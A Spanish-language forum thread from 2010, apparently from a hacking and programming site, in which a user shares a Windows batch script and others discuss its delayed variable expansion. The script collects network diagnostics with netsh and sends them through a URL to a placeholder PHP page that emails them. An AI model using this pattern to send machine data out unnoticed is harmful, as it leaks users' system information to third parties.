codigo para enviar datos de computadora a correo

Iniciado por zerocoolcom, 31 Mayo 2010, 09:34 AM

0 Miembros y 1 Visitante están viendo este tema.

zerocoolcom

Código (dos) [Seleccionar]
@echo off
call :obtenerdatos
call :enviarcorreo
pause
exit
:obtenerdatos
echo http://pagina.enviarmensajes/index.php?mensaje=^" > "c:\archivo.txt"
netsh diag show all >> "c:\archivo.txt"
echo ^" >> "c:\archivo.txt"
echo 'type "c:\archivo.txt"'
goto :EOF
:enviarcorreo

setlocal enabledelayedexpansion
set SEPARATOR=/
set filecontent=
for /f "delims=" %%a in ('type "c:\archivo.txt"') do (
set currentline=%%a
set filecontent=!filecontent!!currentline!
)
start firefox %filecontent%
goto :EOF


se agradece mucho a Leo Gutiérrez q resolvio una de las 2 dudas y cabe resaltar q la parte q coloca un archivo en una variable no es mio fue tomado de una pagina q no se cual es
lo unico q tienen q hacer para q corra a la perfeccion es hacer una pagina en un servidor q interprete php ( en este caso la ficticia http://pagina.enviarmensajes/index.php) donde envien un correo con una variable q se llame mensaje donde ira el cuerpo del mensaje solamente espero les guste si no pues ni pexx jajajajaj :laugh: :laugh:

flony

#1
esta parte no la entiendo
set filecontent=!filecontent!!currentline!

y
echo ^" se q va a parar a archivo.txt lo q no se es q va a parar ahi
si un problema no tiene solucion entonces no es un problema...es algo inevitable

xassiz_

Cita de: flony en 31 Mayo 2010, 13:13 PM
esta parte no la entiendo
set filecontent=!filecontent!!currentline!
Simples variables.

Cita de: flony en 31 Mayo 2010, 13:13 PM
echo ^" se q va a parar a archivo.txt lo q no se es q va a parar ahi
Está mal, no hace falta escapar el caracter de comillas dobles



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE

leogtz

Cita de: xassiz en  1 Junio 2010, 00:00 AM
Cita de: flony en 31 Mayo 2010, 13:13 PM
esta parte no la entiendo
set filecontent=!filecontent!!currentline!
Simples variables.

Cita de: flony en 31 Mayo 2010, 13:13 PM
echo ^" se q va a parar a archivo.txt lo q no se es q va a parar ahi
Está mal, no hace falta escapar el caracter de comillas dobles

No hacer falta != Estar mal
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

zerocoolcom

#4
Cita de: xassiz en  1 Junio 2010, 00:00 AM
Cita de: flony en 31 Mayo 2010, 13:13 PM
esta parte no la entiendo
set filecontent=!filecontent!!currentline!
Simples variables.

Cita de: flony en 31 Mayo 2010, 13:13 PM
echo ^" se q va a parar a archivo.txt lo q no se es q va a parar ahi
Está mal, no hace falta escapar el caracter de comillas dobles


Es q como les habia mencionado esto es para enviar un correo desde un batch lo q hace es llamar a una pagina php teniendo como parametros el mensaje y el mensaje lo puse entre comillas para q no me marcara error al ingresar la direccion asi q si vieramos lo q tiene el archivo de texto tendriamos

http://pagina.enviarmensajes/index.php?mensaje="informacion q recopilamos"

esa es la razon de esa comilla espero haber respondido a lo q me preguntabas si no ahi me lo haces saber  ;D



con respecto a la otra cuestion a lo mejor lo raro son los ! ! y los ocupan para expandir las variables para evitar problemas en algunos loops o recursamientos o como los quieras llamar.

aqui esta la ayuda de windows donde viene explicado

Finalmente, se ha a¤adido compatibilidad para la expansi¢n de la variable
retardada.
Este soporte est  siempre deshabilitado de forma predeterminada, pero puede
habilitarse o deshabilitarse a trav,s del modificador de l¡nea de comandos
/V a CMD.EXE.  Ver CMD /?

La expansi¢n de la variable de entorno es £til para tratar con las
limitaciones de la expansi¢n actual, las cuales ocurren cuando una l¡nea de
texto es le¡da,  y no cuando se ejecuta.  El siguiente ejemplo demuestra el
problema con la expansi¢n de la variable inmediata:

   set VAR=antes
   if "%VAR%" == "antes" (
       set VAR=despu,s
       if "%VAR%" == "despu,s" @echo Si esto se puede ver, entonces
                        significa que funcion¢
   )

dado que %VAR% se sustituye al mismo tiempo en ambas instrucciones IF
cuando se lee la primera instrucci¢n IF, pues incluye l¢gicamente al cuerpo
del IF, el cual es una instrucci¢n compuesta. De esta manera, IF, dentro de
la instrucci¢n compuesta est  realmente comparando "antes" con "despu,s" lo cu l
nunca ser  igual. De un modo parecido, el siguiente ejemplo no funcionar 
como se espera:

    set LIST=
    for %i in (*) do set LIST=%LIST% %i
    echo %LIST%

en esto NO generar  una lista de archivos en el directorio actual, pero en
su lugar establecer  la variable LIST en el £ltimo archivo encontrado. De
nuevo, esto ocurre porque %LIST% es expandido s¢lo una vez cuando la
opci¢n FOR es le¡da, y en ese momento la variable LIST variable est  vac¡a.
As¡ el ciclo actual FOR que se est  ejecutando es:

    for %i in (*) do set LIST= %i

el cual s¢lo mantiene el valor LIST hasta el £ltimo archivo encontrado.

La expansi¢n de la variable de entorno retardada permite utilizar un
car cter diferente (el signo de exclamaci¢n para expandir variables en
tiempo de ejecuci¢n.  Si la expansi¢n de la variable retardada est 
habilitada, los ejemplos se pueden escribir de la siguiente manera para
que funcionen como es necesario:

    set VAR=antes
    if "%VAR%" == "antes" (
        set VAR=despu,s
        if "!VAR!" == "despu,s" @echo Si esto se puede ver, entonces
                       significa que funcion¢
    )

    set LIST=
    for %i en (*) do set LIST=!LIST! %i
    echo %LIST%


espero te ayude